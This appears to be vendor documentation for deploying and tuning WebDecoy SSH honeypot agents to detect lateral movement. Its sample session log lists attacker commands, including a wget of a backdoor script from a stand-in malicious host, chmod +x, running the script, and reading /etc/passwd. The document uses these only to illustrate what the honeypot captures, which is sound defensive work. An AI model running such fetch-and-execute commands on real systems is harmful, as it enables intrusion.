Honeypot SSH Agents

What Are Honeypot SSH Agents?

A honeypot SSH agent is a deployable agent that runs an SSH honeypot inside your infrastructure (AWS VPC, Kubernetes cluster, on-premises network, etc.) to detect attackers who have already breached your perimeter. Unlike web-based honeypots, SSH agents detect lateral movement, brute force attacks, and insider threats within your internal network.

How Honeypot SSH Agents Work

Attacker gains foothold
        │
        ▼
Performs network scanning
        │
        ▼
Discovers SSH honeypot (port 2222)
        │
        ▼
Attempts SSH connection
        │
        ├── Username/password attempt
        ├── Public key authentication
        └── Interactive session commands
        │
        ▼
Agent captures credentials and commands
        │
        ▼
Detection sent to WebDecoy SaaS
        │
        ▼
Alert/Integration triggered

What SSH Agents Detect

Detection Type	What It Captures
Brute Force	Multiple login attempts with different credentials
Credential Stuffing	Known username/password combinations
Lateral Movement	Internal reconnaissance after initial compromise
Command Execution	Commands executed by attackers (whoami, uname, wget)
Client Fingerprints	SSH client versions and public key fingerprints
Session Duration	How long attackers stay connected

SSH Agent vs. Web Honeypots

Aspect	SSH Agent	Web Honeypot
Deployment	Internal network (VPC, Kubernetes)	Internet-facing or internal
Target	Post-breach attackers	External scanners, crawlers
Detection	Lateral movement, brute force	API attacks, crawler activity
Visibility	Internal reconnaissance	External attack surface
Best for	Network segmentation monitoring	Perimeter defense

---

Why Use SSH Honeypots?

Detect Post-Compromise Activity

Traditional security tools focus on preventing initial breaches. SSH honeypots detect what happens after an attacker gets inside your network.

Common Attack Path:

1. Attacker compromises web server
2. Gains shell access
3. Scans internal network for SSH services
4. Finds honeypot SSH agent (port 2222)
5. Attempts to authenticate
6. DETECTED by WebDecoy

Early Warning System

SSH honeypots provide zero false positive detection:

• Legitimate users have no reason to connect to honeypot SSH services
• Any connection is definitively malicious or unauthorized
• Immediate visibility into lateral movement attempts

Capture Attacker Tactics

By allowing authentication to succeed, you can observe:

• What commands attackers run
• What they’re looking for
• Tools they attempt to download
• Persistence mechanisms they deploy

---

Creating an SSH Honeypot Agent

Prerequisites

1. API Key from WebDecoy dashboard
2. Property ID to associate detections
3. Deployment platform (Docker, Kubernetes, VM, etc.)

Getting Your Credentials

1. Navigate to Settings → API Keys

   • Click Create API Key
   • Give it a descriptive name (e.g., “SSH Agent - Production VPC”)
   • Copy the API key (starts with wd_)

2. Get Your Property ID

   • Go to Properties in the sidebar
   • Select the property where you want detections to appear
   • Copy the Property ID from the property details

---

Deployment Methods

Docker (Recommended)

The fastest way to deploy an SSH honeypot agent:

docker run -d \
  --name webdecoy-agent \
  -e WEBDECOY_API_KEY=wd_your_api_key_here \
  -e WEBDECOY_PROPERTY_ID=prop_your_property_id_here \
  -e WEBDECOY_AGENT_NAME="prod-vpc-east" \
  -p 2222:2222 \
  --restart unless-stopped \
  webdecoy/agent:latest

Environment Variables:

Variable	Description	Required
WEBDECOY_API_KEY	API key from dashboard	Yes
WEBDECOY_PROPERTY_ID	Property ID for detections	Yes
WEBDECOY_AGENT_NAME	Friendly name (shown in dashboard)	No
WEBDECOY_SSH_PORT	SSH port (default: 2222)	No
WEBDECOY_SSH_BANNER	SSH version banner	No

Verify it’s running:

docker logs webdecoy-agent
# Should show: "SSH honeypot listening on port 2222"

---

Docker Compose

For persistent deployments with automatic restarts:

version: '3.8'

services:
  webdecoy-agent:
    image: webdecoy/agent:latest
    container_name: webdecoy-ssh-honeypot
    environment:
      - WEBDECOY_API_KEY=${WEBDECOY_API_KEY}
      - WEBDECOY_PROPERTY_ID=${WEBDECOY_PROPERTY_ID}
      - WEBDECOY_AGENT_NAME=docker-agent
      - WEBDECOY_SSH_PORT=2222
    ports:
      - "2222:2222"
    restart: unless-stopped

Create .env file:

WEBDECOY_API_KEY=wd_your_api_key
WEBDECOY_PROPERTY_ID=prop_your_property_id

Deploy:

docker-compose up -d

---

Kubernetes

Deploy SSH honeypots across your Kubernetes cluster to monitor for lateral movement:

apiVersion: v1
kind: Secret
metadata:
  name: webdecoy-secrets
  namespace: security
type: Opaque
stringData:
  api-key: "wd_your_api_key"
  property-id: "prop_your_property_id"
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: webdecoy-agent
  namespace: security
spec:
  replicas: 1
  selector:
    matchLabels:
      app: webdecoy-agent
  template:
    metadata:
      labels:
        app: webdecoy-agent
    spec:
      containers:
      - name: agent
        image: webdecoy/agent:latest
        env:
        - name: WEBDECOY_API_KEY
          valueFrom:
            secretKeyRef:
              name: webdecoy-secrets
              key: api-key
        - name: WEBDECOY_PROPERTY_ID
          valueFrom:
            secretKeyRef:
              name: webdecoy-secrets
              key: property-id
        - name: WEBDECOY_AGENT_NAME
          value: "k8s-prod-cluster"
        ports:
        - containerPort: 2222
          name: ssh
        resources:
          requests:
            memory: "64Mi"
            cpu: "100m"
          limits:
            memory: "128Mi"
            cpu: "200m"
---
apiVersion: v1
kind: Service
metadata:
  name: webdecoy-agent
  namespace: security
spec:
  selector:
    app: webdecoy-agent
  ports:
  - port: 2222
    targetPort: 2222
    name: ssh
  type: LoadBalancer

Deploy:

kubectl apply -f webdecoy-agent.yaml

Verify deployment:

kubectl get pods -n security
kubectl logs -f deployment/webdecoy-agent -n security

---

Systemd (Linux VMs)

For deployment on bare metal or virtual machines:

1. Download the binary:

curl -LO https://github.com/webdecoy/webdecoy-agent/releases/latest/download/webdecoy-agent-linux-amd64
chmod +x webdecoy-agent-linux-amd64
sudo mv webdecoy-agent-linux-amd64 /opt/webdecoy/webdecoy-agent

2. Create configuration file:

sudo mkdir -p /etc/webdecoy
sudo cat > /etc/webdecoy/agent.yaml << EOF
api_key: "wd_your_api_key"
property_id: "prop_your_property_id"
agent_name: "prod-vm-01"

honeypots:
  ssh:
    enabled: true
    port: 2222
    banner: "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6"

reporting:
  endpoint: "https://ingest.webdecoy.io/api/v1/agent/detections"
  batch_size: 100
  flush_interval: 10s

heartbeat:
  endpoint: "https://ingest.webdecoy.io/api/v1/agent/heartbeat"
  interval: 60s
EOF

3. Create systemd service:

sudo cat > /etc/systemd/system/webdecoy-agent.service << EOF
[Unit]
Description=WebDecoy SSH Honeypot Agent
After=network.target

[Service]
Type=simple
User=webdecoy
ExecStart=/opt/webdecoy/webdecoy-agent --config /etc/webdecoy/agent.yaml
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

4. Create user and start service:

sudo useradd -r -s /bin/false webdecoy
sudo systemctl daemon-reload
sudo systemctl enable webdecoy-agent
sudo systemctl start webdecoy-agent

5. Verify it’s running:

sudo systemctl status webdecoy-agent
sudo journalctl -u webdecoy-agent -f

---

AWS (EC2 Instance)

Deploy SSH honeypots in your AWS VPC to monitor for lateral movement:

1. Launch EC2 instance:

• AMI: Ubuntu 22.04 LTS
• Instance type: t3.micro (sufficient for honeypot)
• VPC: Your production VPC
• Security group: Allow inbound on port 2222 from VPC CIDR

2. User data script:

#!/bin/bash
# Install Docker
apt-get update
apt-get install -y docker.io

# Run WebDecoy agent
docker run -d \
  --name webdecoy-agent \
  -e WEBDECOY_API_KEY=wd_your_api_key \
  -e WEBDECOY_PROPERTY_ID=prop_your_property_id \
  -e WEBDECOY_AGENT_NAME="aws-vpc-prod" \
  -p 2222:2222 \
  --restart unless-stopped \
  webdecoy/agent:latest

3. Security group configuration:

Inbound Rules:
- Port 2222, TCP, Source: 10.0.0.0/16 (your VPC CIDR)

Outbound Rules:
- Port 443, TCP, Destination: 0.0.0.0/0 (for reporting to WebDecoy)

---

Configuration Options

YAML Configuration File

The agent can be configured with a YAML file for advanced customization:

# Required: Authentication
api_key: "wd_your_api_key"
property_id: "prop_your_property_id"
agent_name: "prod-vpc-east"

# SSH Honeypot Configuration
honeypots:
  ssh:
    enabled: true
    port: 2222

    # Mimic a specific SSH server version
    banner: "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6"

    # Alternative banners for different scenarios:
    # banner: "SSH-2.0-OpenSSH_7.4 RedHat Enterprise Linux"
    # banner: "SSH-2.0-OpenSSH_9.3 Debian-1ubuntu1"

# Detection Reporting
reporting:
  endpoint: "https://ingest.webdecoy.io/api/v1/agent/detections"

  # Number of detections to batch before sending
  batch_size: 100

  # Max time before flushing batch (even if not full)
  flush_interval: 10s

# Agent Heartbeat
heartbeat:
  endpoint: "https://ingest.webdecoy.io/api/v1/agent/heartbeat"

  # How often to report health status
  interval: 60s

Port Selection Strategy

Port	Strategy	Detection Value
22	Mimic real SSH	High - catches automated scanners
2222	Common alternate SSH port	Medium - catches manual probing
8022	Non-standard port	Low - requires targeted scanning

Recommendation: Use port 2222 to avoid conflicts with legitimate SSH services, then redirect port 22 traffic using iptables if desired.

SSH Banner Customization

The banner is the first thing attackers see. Make it convincing:

Environment	Recommended Banner
Ubuntu servers	SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
RedHat/CentOS	SSH-2.0-OpenSSH_7.4 RedHat Enterprise Linux
Debian	SSH-2.0-OpenSSH_9.3 Debian-1ubuntu1
Generic Linux	SSH-2.0-OpenSSH_8.2p1 Linux

Match your environment: If your production servers run Ubuntu, use an Ubuntu banner on your honeypot.

---

What Gets Captured

Authentication Attempts

Every login attempt is captured and reported:

{
  "type": "ssh_auth",
  "timestamp": "2025-01-15T14:32:10Z",
  "source_ip": "10.0.1.45",
  "source_port": 58392,
  "destination_port": 2222,
  "username": "admin",
  "password": "password123",
  "client_version": "SSH-2.0-PuTTY_0.76",
  "success": true
}

Captured Fields:

• Username attempted
• Password attempted
• Client SSH version
• Source IP and port
• Timestamp

Public Key Attempts

If an attacker uses public key authentication:

{
  "type": "ssh_pubkey",
  "timestamp": "2025-01-15T14:33:15Z",
  "source_ip": "10.0.1.45",
  "username": "root",
  "client_version": "SSH-2.0-OpenSSH_8.2p1",
  "metadata": {
    "key_type": "ssh-rsa",
    "key_fingerprint": "SHA256:abc123def456..."
  }
}

Interactive Session Commands

The honeypot accepts authentication to observe what attackers do:

{
  "type": "ssh_session",
  "timestamp": "2025-01-15T14:34:00Z",
  "source_ip": "10.0.1.45",
  "username": "admin",
  "session_duration": 45000,
  "commands": [
    "whoami",
    "id",
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.com/backdoor.sh",
    "chmod +x backdoor.sh",
    "./backdoor.sh"
  ]
}

Commands reveal attacker intent:

• whoami, id, hostname - Reconnaissance
• cat /etc/passwd - Credential harvesting
• wget, curl - Tool downloading
• chmod +x - Preparing malware
• sudo attempts - Privilege escalation

Fake Shell Environment

The honeypot presents a convincing fake Linux environment:

ssh admin@honeypot -p 2222
admin@honeypot's password:

Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Last login: Mon Jan 14 09:23:14 2025 from 192.168.1.105
admin@ubuntu:~$ whoami
admin
admin@ubuntu:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin),4(adm),27(sudo)
admin@ubuntu:~$ ls
Desktop  Documents  Downloads  Pictures  Videos
admin@ubuntu:~$ exit

Supported commands:

• whoami, id, pwd - Identity commands
• uname, hostname - System info
• cat /etc/passwd - Returns fake passwd file
• ls, cd, echo - Basic shell commands
• ps, sudo - Process and privilege commands

---

Network Placement Strategies

Strategy 1: VPC Perimeter Monitoring

Deploy honeypots at the edges of network segments:

Internet
    │
    ▼
DMZ (10.0.1.0/24)
    │
    ├── Web Servers
    └── SSH Honeypot (10.0.1.100:2222)
    │
    ▼
Internal Network (10.0.2.0/24)
    │
    ├── App Servers
    └── SSH Honeypot (10.0.2.100:2222)
    │
    ▼
Database Network (10.0.3.0/24)
    │
    ├── Databases
    └── SSH Honeypot (10.0.3.100:2222)

Detection: Any attempt to SSH to .100 addresses indicates lateral movement.

Strategy 2: DNS Honeytokens

Create DNS records that point to your SSH honeypots:

# Internal DNS
db-backup-01.internal.company.com → 10.0.3.100 (honeypot)
admin-jump.internal.company.com → 10.0.2.100 (honeypot)

Detection: If an attacker discovers these DNS names, they’ll connect to the honeypot.

Strategy 3: Decoy Service Discovery

Make honeypots discoverable via common reconnaissance methods:

Port scan simulation:

nmap 10.0.1.0/24
...
10.0.1.100: 22/tcp open ssh OpenSSH 8.9
...

AWS EC2 tag-based discovery:

Tag: Name = "prod-db-primary"
Tag: Role = "database"
IP: 10.0.3.100 (honeypot)

Strategy 4: High-Value Naming

Name honeypot instances to attract attackers:

Instance Name	Attacker Appeal	Detection Value
prod-db-primary	Very High	Critical asset impersonation
admin-jumpbox	High	Administrative access target
backup-server	High	Data exfiltration target
redis-master	Medium	Infrastructure reconnaissance

---

Monitoring and Alerts

Viewing SSH Detections

1. Navigate to Detections

   • Go to Detections in the sidebar

2. Filter by Source

   • Filter: Source = SSH Agent
   • Or filter by specific agent name

3. Detection Details

   • Click any detection to view:
     • Credentials attempted
     • Commands executed
     • Session duration
     • Client fingerprint

Key Metrics

Metric	Description	Alert Threshold
Auth Attempts	Total login attempts	>10 per hour (brute force)
Unique IPs	Distinct source IPs	>1 (coordinated attack)
Session Commands	Commands executed	Any (post-auth activity)
Common Usernames	Most tried usernames	”admin”, “root”

Alert Configuration

Set up automated alerts for SSH detections:

Slack Integration:

Trigger: SSH authentication attempt
Channel: #security-alerts
Message: "SSH honeypot accessed from {ip} with username '{username}'"

Webhook Integration:

POST https://your-siem.com/webhook
{
  "event": "ssh_auth",
  "severity": "high",
  "source_ip": "10.0.1.45",
  "username": "admin",
  "password": "password123"
}

Email Alerts:

Trigger: SSH session with commands
Subject: "ALERT: SSH Honeypot Session Activity"
Body: "Attacker executed {command_count} commands from {ip}"

---

Best Practices

Deployment

• ✅ Deploy in each network segment for lateral movement detection
• ✅ Use realistic hostnames and DNS entries
• ✅ Match SSH banners to your production environment
• ✅ Place honeypots near high-value assets
• ✅ Monitor outbound traffic from honeypots (shouldn’t make connections)

Configuration

• ✅ Use non-standard ports (2222) to avoid conflicts
• ✅ Set meaningful agent names for easy identification
• ✅ Enable heartbeat monitoring to ensure agents are running
• ✅ Review and rotate API keys periodically

Security

• ✅ Network isolate honeypots (no access to production systems)
• ✅ Use dedicated API keys (one per agent or environment)
• ✅ Monitor for agents that go offline (heartbeat failure)
• ✅ Run agents as non-root user
• ✅ Apply resource limits (CPU, memory) in containerized deployments

Avoid These Mistakes

• ❌ Using obvious honeypot names (honeypot-ssh, trap-server)
• ❌ Deploying on port 22 without redirecting real SSH first
• ❌ Not monitoring honeypot outbound traffic (compromise indicator)
• ❌ Forgetting to set up alerts (detection without response is useless)
• ❌ Exposing honeypots to the internet (they’re for internal threats)

---

Advanced: Port Redirection

To make the honeypot listen on port 22 while keeping your real SSH on a different port:

iptables Redirection

1. Move real SSH to alternate port:

# Edit /etc/ssh/sshd_config
Port 2200

# Restart SSH
sudo systemctl restart sshd

2. Redirect port 22 to honeypot:

# Install iptables-persistent for rule persistence
sudo apt-get install iptables-persistent

# Redirect incoming port 22 to honeypot on 2222
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222

# Save rules
sudo netfilter-persistent save

3. Test:

# This should connect to your honeypot
ssh test@localhost

Docker with Host Network

Run the agent with host networking:

docker run -d \
  --name webdecoy-agent \
  --network host \
  -e WEBDECOY_API_KEY=wd_your_api_key \
  -e WEBDECOY_PROPERTY_ID=prop_your_property_id \
  -e WEBDECOY_SSH_PORT=22 \
  --restart unless-stopped \
  webdecoy/agent:latest

---

Troubleshooting

Agent Not Starting

Symptom: Container exits immediately

Solutions:

# Check logs
docker logs webdecoy-agent

# Common issues:
# 1. Missing API key or property ID
docker run ... -e WEBDECOY_API_KEY=wd_xxx -e WEBDECOY_PROPERTY_ID=prop_xxx

# 2. Port already in use
sudo lsof -i :2222
# Kill the process using the port or change the port

# 3. Permission denied (low port binding)
# Use port >1024 or grant CAP_NET_BIND_SERVICE capability

No Detections Appearing

Symptom: Agent running but no detections in dashboard

Diagnosis:

# 1. Verify agent is running
docker ps | grep webdecoy-agent

# 2. Check agent logs for errors
docker logs webdecoy-agent

# 3. Verify network connectivity to WebDecoy API
docker exec webdecoy-agent ping -c 3 ingest.webdecoy.io
docker exec webdecoy-agent curl -I https://ingest.webdecoy.io

# 4. Test SSH connection to agent
ssh -p 2222 test@<agent-ip>
# Should show SSH login prompt

Common causes:

• Incorrect API key or property ID
• Firewall blocking outbound HTTPS (443) to ingest.webdecoy.io
• Agent not reachable on port 2222
• Wrong property selected in dashboard filter

High Memory Usage

Symptom: Agent consuming excessive memory

Cause: Detection buffer growing due to unreachable backend

Solution:

# 1. Check network connectivity
docker exec webdecoy-agent curl -v https://ingest.webdecoy.io/api/v1/agent/heartbeat

# 2. Reduce batch size in config
reporting:
  batch_size: 10  # Reduce from default 100
  flush_interval: 5s  # Flush more frequently

# 3. Restart agent to clear buffer
docker restart webdecoy-agent

SSH Connections Refused

Symptom: Connection refused when testing SSH

Solutions:

# 1. Verify port is published
docker port webdecoy-agent
# Should show: 2222/tcp -> 0.0.0.0:2222

# 2. Check if port is listening
sudo netstat -tlnp | grep 2222

# 3. Verify firewall allows port 2222
sudo ufw status
sudo iptables -L -n | grep 2222

# 4. Test from within container
docker exec webdecoy-agent netstat -tlnp

---

Next Steps

Integrate SSH detections with your security workflow:

• Integrations - Connect Slack, Datadog, AWS WAF for automated response
• Webhooks - Send detections to your SIEM or incident response platform
• API Reference - Query detection data programmatically